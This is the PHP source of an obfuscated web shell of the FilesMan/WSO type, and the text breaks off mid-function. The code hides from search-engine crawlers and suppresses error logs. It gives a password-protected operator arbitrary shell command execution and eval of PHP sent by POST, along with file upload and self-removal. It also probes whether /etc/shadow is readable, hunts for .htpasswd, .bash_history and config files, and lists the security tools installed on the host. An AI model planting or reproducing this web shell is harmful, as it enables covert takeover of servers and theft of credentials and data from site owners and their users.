$rvoavjoand = "f264642858f71ffc813ba06b8d442e5aed9f31ab98d68c6ccfa2d70a77cd8906";
$ygaknnj = "#df5";
$slmlvystah = 'FilesMan';
$ouvhufkca = true;
$mrlsojogfbj = 'UTF-8';
$hyisnwvxpf = md5($_SERVER['HTTP_USER_AGENT']);
if (empty($_POST['tvhaz'])) {
$_POST['tvhaz'] = $mrlsojogfbj;
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . "csfse", $hyisnwvxpf);
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$chdwnjsu = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $chdwnjsu) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if (!isset($_POST['rprc'])) {
if (isset($_POST['tnfcm'])) {
$_POST['tnfcm'] = iconv("utf-8", $_POST['tvhaz'], bvqucq($_POST['tnfcm'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"]));
}
if (isset($_POST['hcrgam'])) {
$_POST['hcrgam'] = iconv("utf-8", $_POST['tvhaz'], bvqucq($_POST['hcrgam'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"]));
}
if (isset($_POST['pvqfor'])) {
$_POST['pvqfor'] = iconv("utf-8", $_POST['tvhaz'], bvqucq($_POST['pvqfor'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"]));
}
if (isset($_POST['qbfo'])) {
$_POST['qbfo'] = iconv("utf-8", $_POST['tvhaz'], bvqucq($_POST['qbfo'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"]));
}
if (isset($_POST['jzgyx'])) {
$_POST['jzgyx'] = iconv("utf-8", $_POST['tvhaz'], bvqucq($_POST['jzgyx'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"]));
}
}
function bvqucq($cthnli, $bwkuqocbi) {
$bwkuqocbi = base64_encode($bwkuqocbi);
$cthnli = base64_decode($cthnli);
$wsnipjcgqqlz = "";
$sqltuz = "";
$yfqqez = 0;
while ($yfqqez < strlen($cthnli)) {
for ($tltevxry = 0; $tltevxry < strlen($bwkuqocbi); $tltevxry++) {
$wsnipjcgqqlz = chr(ord($cthnli[$yfqqez]) ^ ord($bwkuqocbi[$tltevxry]));
$sqltuz .= $wsnipjcgqqlz;
$yfqqez++;
if ($yfqqez >= strlen($cthnli)) {
break;
}
}
}
return base64_decode($sqltuz);
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
@set_magic_quotes_runtime(0);
}
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
if (get_magic_quotes_gpc()) {
function jivzqzc($onbumab) {
return is_array($onbumab) ? array_map('jivzqzc', $onbumab) : stripslashes($onbumab);
}
$_POST = jivzqzc($_POST);
$_COOKIE = jivzqzc($_COOKIE);
}
}
function cinjhupucptned() {
die("<form method=post><input type=password name=pass><input type=submit value='>>'></form>");
}
function axevwudmb($rdoqxovvingb, $tkxcjxmkhdn) {
$_COOKIE[$rdoqxovvingb] = $tkxcjxmkhdn;
setcookie($rdoqxovvingb, $tkxcjxmkhdn);
}
if (!empty($rvoavjoand)) {
if (isset($_POST['pass']) && (hash('gost', $_POST['pass']) == $rvoavjoand)) {
axevwudmb(md5($_SERVER['HTTP_HOST']), $rvoavjoand);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $rvoavjoand)) {
cinjhupucptned();
}
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
$ytxlqhagyc = 'win';
} else {
$ytxlqhagyc = 'nix';
}
$kiimgzkyofq = @ini_get('safe_mode');
if (!$kiimgzkyofq) {
error_reporting(0);
}
$tyqsiognqh = @ini_get('disable_functions');
$wdomjivjqn = @getcwd();
if (isset($_POST['hcrgam'])) {
@chdir($_POST['hcrgam']);
}
$cqyidgkncluf = @getcwd();
if ($ytxlqhagyc == 'win') {
$wdomjivjqn = str_replace("\\", "/", $wdomjivjqn);
$cqyidgkncluf = str_replace("\\", "/", $cqyidgkncluf);
}
if ($cqyidgkncluf[strlen($cqyidgkncluf) - 1] != '/') {
$cqyidgkncluf .= '/';
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$ouvhufkca;
}
if ($ytxlqhagyc == 'win') {
$foiqammwi = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$foiqammwi = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function ntqkrfqeh() {
if (empty($_POST['tvhaz'])) {
$_POST['tvhaz'] = $GLOBALS['mrlsojogfbj'];
}
global $ygaknnj;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['tvhaz'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $ygaknnj !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $ygaknnj;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $ygaknnj; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cqyidgkncluf']) . "';
var a_ = '" . htmlspecialchars(@$_POST['tnfcm']) . "'
var charset_ = '" . htmlspecialchars(@$_POST['tvhaz']) . "';
var p1_ = '" . ((strpos(@$_POST['pvqfor'], "\n") !== false) ? '' : htmlspecialchars($_POST['pvqfor'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['qbfo'], "\n") !== false) ? '' : htmlspecialchars($_POST['qbfo'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['jzgyx'], "\n") !== false) ? '' : htmlspecialchars($_POST['jzgyx'], ENT_QUOTES)) . "';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.ljl.tnfcm.value=a;else d.ljl.tnfcm.value=a_;
if(c!=null)d.ljl.hcrgam.value=c;else d.ljl.hcrgam.value=c_;
if(p1!=null)d.ljl.pvqfor.value=p1;else d.ljl.pvqfor.value=p1_;
if(p2!=null)d.ljl.qbfo.value=p2;else d.ljl.qbfo.value=p2_;
if(p3!=null)d.ljl.jzgyx.value=p3;else d.ljl.jzgyx.value=p3_;
d.ljl.tnfcm.value = encrypt(d.ljl.tnfcm.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"] . "');
d.ljl.hcrgam.value = encrypt(d.ljl.hcrgam.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"] . "');
d.ljl.pvqfor.value = encrypt(d.ljl.pvqfor.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"] . "');
d.ljl.qbfo.value = encrypt(d.ljl.qbfo.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"] . "');
d.ljl.jzgyx.value = encrypt(d.ljl.jzgyx.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"] . "');
if(charset!=null)d.ljl.tvhaz.value=charset;else d.ljl.tvhaz.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.ljl.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'plmdyp=true';
for(i=0;i<d.ljl.elements.length;i++)
params += '&'+d.ljl.elements[i].name+'='+encodeURIComponent(d.ljl.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=ljl style='display:none;'>
<input type=hidden name=tnfcm>
<input type=hidden name=hcrgam>
<input type=hidden name=pvqfor>
<input type=hidden name=qbfo>
<input type=hidden name=jzgyx>
<input type=hidden name=tvhaz>
</form>";
$arebzavw = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['cqyidgkncluf']) : null;
$bsykojj = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['cqyidgkncluf']) : null;
$bsykojj = $bsykojj ? $bsykojj : 1;
$ujmzkpc = @php_uname('r');
$ojcafitacof = @php_uname('s');
$aacmgvfxlvts = 'http://exploit-db.com/search/?action=search&filter_description=';
if (strpos('Linux', $ojcafitacof) !== false) {
$aacmgvfxlvts .= urlencode('Linux Kernel ' . substr($ujmzkpc, 0, 6));
} else {
$aacmgvfxlvts .= urlencode($ojcafitacof . ' ' . substr($ujmzkpc, 0, 3));
}
if (!function_exists('posix_getegid')) {
$vgkehot = @get_current_user();
$yjrdkhavs = @getmyuid();
$zttzgxnmtr = @getmygid();
$efjidcj = "?";
} else {
$yjrdkhavs = (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) ? @posix_getpwuid(posix_geteuid()) : '?';
//$yjrdkhavs = @posix_getpwuid(posix_geteuid());
$zttzgxnmtr = (function_exists('posix_getgrgid') && function_exists('posix_getegid')) ? @posix_getgrgid(posix_getegid()) : '?';
//$zttzgxnmtr = @posix_getgrgid(posix_getegid());
$vgkehot = is_array($yjrdkhavs) ? $yjrdkhavs['name'] : '?';
$yjrdkhavs = is_array($yjrdkhavs) ? $yjrdkhavs['uid'] : '?';
$efjidcj = is_array($zttzgxnmtr) ? $zttzgxnmtr['name'] : '?';
$zttzgxnmtr = is_array($zttzgxnmtr) ? $zttzgxnmtr['gid'] : '?';
}
$dwbtfjxgivf = '';
$faaheaxpesa = explode("/", $GLOBALS['cqyidgkncluf']);
$yybkkvgt = count($faaheaxpesa);
for ($yfqqez = 0; $yfqqez < $yybkkvgt - 1; $yfqqez++) {
$dwbtfjxgivf .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($tltevxry = 0; $tltevxry <= $yfqqez; $tltevxry++) {
$dwbtfjxgivf .= $faaheaxpesa[$tltevxry] . '/';
}
$dwbtfjxgivf .= "\")'>" . $faaheaxpesa[$yfqqez] . "/</a>";
}
$twttmgiwkr = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$jyxlcxr = '';
foreach ($twttmgiwkr as $vgxhvh) {
$jyxlcxr .= '<option value="' . $vgxhvh . '" ' . ($_POST['tvhaz'] == $vgxhvh ? 'selected' : '') . '>' . $vgxhvh . '</option>';
}
$xcfrnayys = array(
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Console' => 'Console',
'Php' => 'Php',
'String tools' => 'StringTools',
'Network' => 'Network'
);
if (!empty($GLOBALS['rvoavjoand'])) {
$xcfrnayys['Logout'] = 'Logout';
}
$xcfrnayys['Self remove'] = 'SelfRemove';
$hslytjff = '';
foreach ($xcfrnayys as $rdoqxovvingb => $tkxcjxmkhdn) {
$hslytjff .= '<th width="' . (int)(100 / count($xcfrnayys)) . '%">[ <a href="#" onclick="g(\'' . $tkxcjxmkhdn . '\',null,\'\',\'\',\'\')">' . $rdoqxovvingb . '</a> ]</th>';
}
$dbluev = "";
if ($GLOBALS['ytxlqhagyc'] == 'win') {
foreach (range('c', 'z') as $skalssgf) {
if (is_dir($skalssgf . ':\\')) {
$dbluev .= '<a href="#" onclick="g(\'FilesMan\',\'' . $skalssgf . ':/\')">[ ' . $skalssgf . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['ytxlqhagyc'] == 'win' ? '<br>Drives:' : '') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $aacmgvfxlvts . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $yjrdkhavs . ' ( ' . $vgkehot . ' ) <span>Group:</span> ' . $zttzgxnmtr . ' ( ' . $efjidcj . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['kiimgzkyofq'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . kppgq($bsykojj) . ' <span>Free:</span> ' . kppgq($arebzavw) . ' (' . (int)($arebzavw / $bsykojj * 100) . '%)<br>' . $dwbtfjxgivf . ' ' . uhcjedo($GLOBALS['cqyidgkncluf']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['wdomjivjqn'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $dbluev . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $jyxlcxr . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $hslytjff . '</tr></table><div style="margin:5">';
}
function dwwjftd() {
$nlwehcolu = is_writable($GLOBALS['cqyidgkncluf']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cqyidgkncluf']) . "'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$nlwehcolu<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$nlwehcolu<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=tnfcm value='" . uwfkvlizh('FilesMan') . "'>
<input type=hidden name=hcrgam value='" . uwfkvlizh($GLOBALS['cqyidgkncluf']) . "'>
<input type=hidden name=pvqfor value='" . uwfkvlizh('uploadFile') . "'>
<input type=hidden name=tvhaz value='" . (isset($_POST['tvhaz']) ? uwfkvlizh($_POST['tvhaz']) : '') . "'>
<span>Upload file:</span>$nlwehcolu<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") || (strpos(ini_get('disable_functions'), 'posix_getpwuid') !== false)) {
function posix_getpwuid($tepxbbx) {
return false;
}
}
if (!function_exists("posix_getgrgid") || (strpos(ini_get('disable_functions'), 'posix_getgrgid') !== false)) {
function posix_getgrgid($tepxbbx) {
return false;
}
}
function ksuyz($bhaoszf) {
$buwvtnuba = '';
if (function_exists('exec')) {
@exec($bhaoszf, $buwvtnuba);
$buwvtnuba = @join("\n", $buwvtnuba);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($bhaoszf);
$buwvtnuba = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($bhaoszf);
$buwvtnuba = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$buwvtnuba = shell_exec($bhaoszf);
} elseif (function_exists('popen') && is_resource($nzgmvekwz = @popen($bhaoszf, "r"))) {
$buwvtnuba = "";
while (!@feof($nzgmvekwz)) {
$buwvtnuba .= fread($nzgmvekwz, 1024);
}
pclose($nzgmvekwz);
}
return $buwvtnuba;
}
function kppgq($krgwqcufkvo) {
if (is_int($krgwqcufkvo)) {
$krgwqcufkvo = sprintf("%u", $krgwqcufkvo);
}
if ($krgwqcufkvo >= 1073741824) {
return sprintf('%1.2f', $krgwqcufkvo / 1073741824) . ' GB';
} elseif ($krgwqcufkvo >= 1048576) {
return sprintf('%1.2f', $krgwqcufkvo / 1048576) . ' MB';
} elseif ($krgwqcufkvo >= 1024) {
return sprintf('%1.2f', $krgwqcufkvo / 1024) . ' KB';
} else {
return $krgwqcufkvo . ' B';
}
}
function xcxhdenrr($tepxbbx) {
if (($tepxbbx & 0xC000) == 0xC000) {
$yfqqez = 's';
} elseif (($tepxbbx & 0xA000) == 0xA000) {
$yfqqez = 'l';
} elseif (($tepxbbx & 0x8000) == 0x8000) {
$yfqqez = '-';
} elseif (($tepxbbx & 0x6000) == 0x6000) {
$yfqqez = 'b';
} elseif (($tepxbbx & 0x4000) == 0x4000) {
$yfqqez = 'd';
} elseif (($tepxbbx & 0x2000) == 0x2000) {
$yfqqez = 'c';
} elseif (($tepxbbx & 0x1000) == 0x1000) {
$yfqqez = 'p';
} else {
$yfqqez = 'u';
}
$yfqqez .= (($tepxbbx & 0x0100) ? 'r' : '-');
$yfqqez .= (($tepxbbx & 0x0080) ? 'w' : '-');
$yfqqez .= (($tepxbbx & 0x0040) ? (($tepxbbx & 0x0800) ? 's' : 'x') : (($tepxbbx & 0x0800) ? 'S' : '-'));
$yfqqez .= (($tepxbbx & 0x0020) ? 'r' : '-');
$yfqqez .= (($tepxbbx & 0x0010) ? 'w' : '-');
$yfqqez .= (($tepxbbx & 0x0008) ? (($tepxbbx & 0x0400) ? 's' : 'x') : (($tepxbbx & 0x0400) ? 'S' : '-'));
$yfqqez .= (($tepxbbx & 0x0004) ? 'r' : '-');
$yfqqez .= (($tepxbbx & 0x0002) ? 'w' : '-');
$yfqqez .= (($tepxbbx & 0x0001) ? (($tepxbbx & 0x0200) ? 't' : 'x') : (($tepxbbx & 0x0200) ? 'T' : '-'));
return $yfqqez;
}
function uhcjedo($nzgmvekwz) {
if (!@is_readable($nzgmvekwz)) {
return '<font color=#FF0000>' . xcxhdenrr(@fileperms($nzgmvekwz)) . '</font>';
} elseif (!@is_writable($nzgmvekwz)) {
return '<font color=white>' . xcxhdenrr(@fileperms($nzgmvekwz)) . '</font>';
} else {
return '<font color=#25ff00>' . xcxhdenrr(@fileperms($nzgmvekwz)) . '</font>';
}
}
function roorhg($dzsetlgxgric) {
if (function_exists("scandir")) {
return scandir($dzsetlgxgric);
} else {
$rhtcjyobgck = opendir($dzsetlgxgric);
while (false !== ($yralwglhbilw = readdir($rhtcjyobgck))) {
$rkesotfy[] = $yralwglhbilw;
}
return $rkesotfy;
}
}
function xwlwuj($tepxbbx) {
$faaheaxpesa = ksuyz('which ' . $tepxbbx);
if (!empty($faaheaxpesa)) {
return $faaheaxpesa;
}
return false;
}
function actionSecInfo() {
ntqkrfqeh();
echo '<h1>Server security information</h1><div class=content>';
function tnjqwl($yybkkvgt, $tkxcjxmkhdn) {
$tkxcjxmkhdn = trim($tkxcjxmkhdn);
if ($tkxcjxmkhdn) {
echo '<span>' . $yybkkvgt . ': </span>';
if (strpos($tkxcjxmkhdn, "\n") === false) {
echo $tkxcjxmkhdn . '<br>';
} else {
echo '<pre class=ml1>' . $tkxcjxmkhdn . '</pre>';
}
}
}
tnjqwl('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
tnjqwl('Loaded Apache modules', implode(', ', apache_get_modules()));
}
tnjqwl('Disabled PHP Functions', $GLOBALS['tyqsiognqh'] ? $GLOBALS['tyqsiognqh'] : 'none');
tnjqwl('Open base dir', @ini_get('open_basedir'));
tnjqwl('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
tnjqwl('Safe mode include dir', @ini_get('safe_mode_include_dir'));
tnjqwl('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$ofwdccfc = array();
if (function_exists('mysql_get_client_info')) {
$ofwdccfc[] = "MySql (" . mysql_get_client_info() . ")";
}
if (function_exists('mssql_connect')) {
$ofwdccfc[] = "MSSQL";
}
if (function_exists('pg_connect')) {
$ofwdccfc[] = "PostgreSQL";
}
if (function_exists('oci_connect')) {
$ofwdccfc[] = "Oracle";
}
tnjqwl('Supported databases', implode(', ', $ofwdccfc));
echo '<br>';
if ($GLOBALS['ytxlqhagyc'] == 'nix') {
tnjqwl('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
tnjqwl('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
tnjqwl('OS version', @file_get_contents('/proc/version'));
tnjqwl('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['kiimgzkyofq']) {
$qidfmbry = array(
'gcc',
'lcc',
'cc',
'ld',
'make',
'php',
'perl',
'python',
'ruby',
'tar',
'gzip',
'bzip',
'bzip2',
'nc',
'locate',
'suidperl'
);
$dnnwuqka = array(
'kav',
'nod32',
'bdcored',
'uvscan',
'sav',
'drwebd',
'clamd',
'rkhunter',
'chkrootkit',
'iptables',
'ipfw',
'tripwire',
'shieldcc',
'portsentry',
'snort',
'ossec',
'lidsadm',
'tcplodg',
'sxid',
'logcheck',
'logwatch',
'sysmask',
'zmbscap',
'sawmill',
'wormscan',
'ninja'
);
$edepdwn = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo '<br>';
$ofwdccfc = array();
foreach ($qidfmbry as $vgxhvh) {
if (xwlwuj($vgxhvh)) {
$ofwdccfc[] = $vgxhvh;
}
}
tnjqwl('Userful', implode(', ', $ofwdccfc));
$ofwdccfc = array();
foreach ($dnnwuqka as $vgxhvh) {
if (xwlwuj($vgxhvh)) {
$ofwdccfc[] = $vgxhvh;
}
}
tnjqwl('Danger', implode(', ', $ofwdccfc));
$ofwdccfc = array();
foreach ($edepdwn as $vgxhvh) {
if (xwlwuj($vgxhvh)) {
$ofwdccfc[] = $vgxhvh;
}
}
tnjqwl('Downloaders', implode(', ', $ofwdccfc));
echo '<br/>';
tnjqwl('HDD space', ksuyz('df -h'));
tnjqwl('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset($_POST['qbfo'], $_POST['jzgyx']) && is_numeric($_POST['qbfo']) && is_numeric($_POST['jzgyx'])) {
$ofwdccfc = "";
for (; $_POST['qbfo'] <= $_POST['jzgyx']; $_POST['qbfo']++) {
$yjrdkhavs = @posix_getpwuid($_POST['qbfo']);
if ($yjrdkhavs) {
$ofwdccfc .= join(':', $yjrdkhavs) . "\n";
}
}
echo '<br/>';
tnjqwl('Users', $ofwdccfc);
}
}
} else {
tnjqwl('OS Version', ksuyz('ver'));
tnjqwl('Account Settings', ksuyz('net accounts'));
tnjqwl('User Accounts', ksuyz('net user'));
}
echo '</div>';
dwwjftd();
}
function actionPhp() {
if (isset($_POST['plmdyp'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['pvqfor']);
$ofwdccfc = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($ofwdccfc), "\n", $ofwdccfc;
exit;
}
if (empty($_POST['plmdyp']) && !empty($_POST['pvqfor'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
ntqkrfqeh();
if (isset($_POST['qbfo']) && ($_POST['qbfo'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$isbjqznk = ob_get_clean();
$isbjqznk = preg_replace(array(
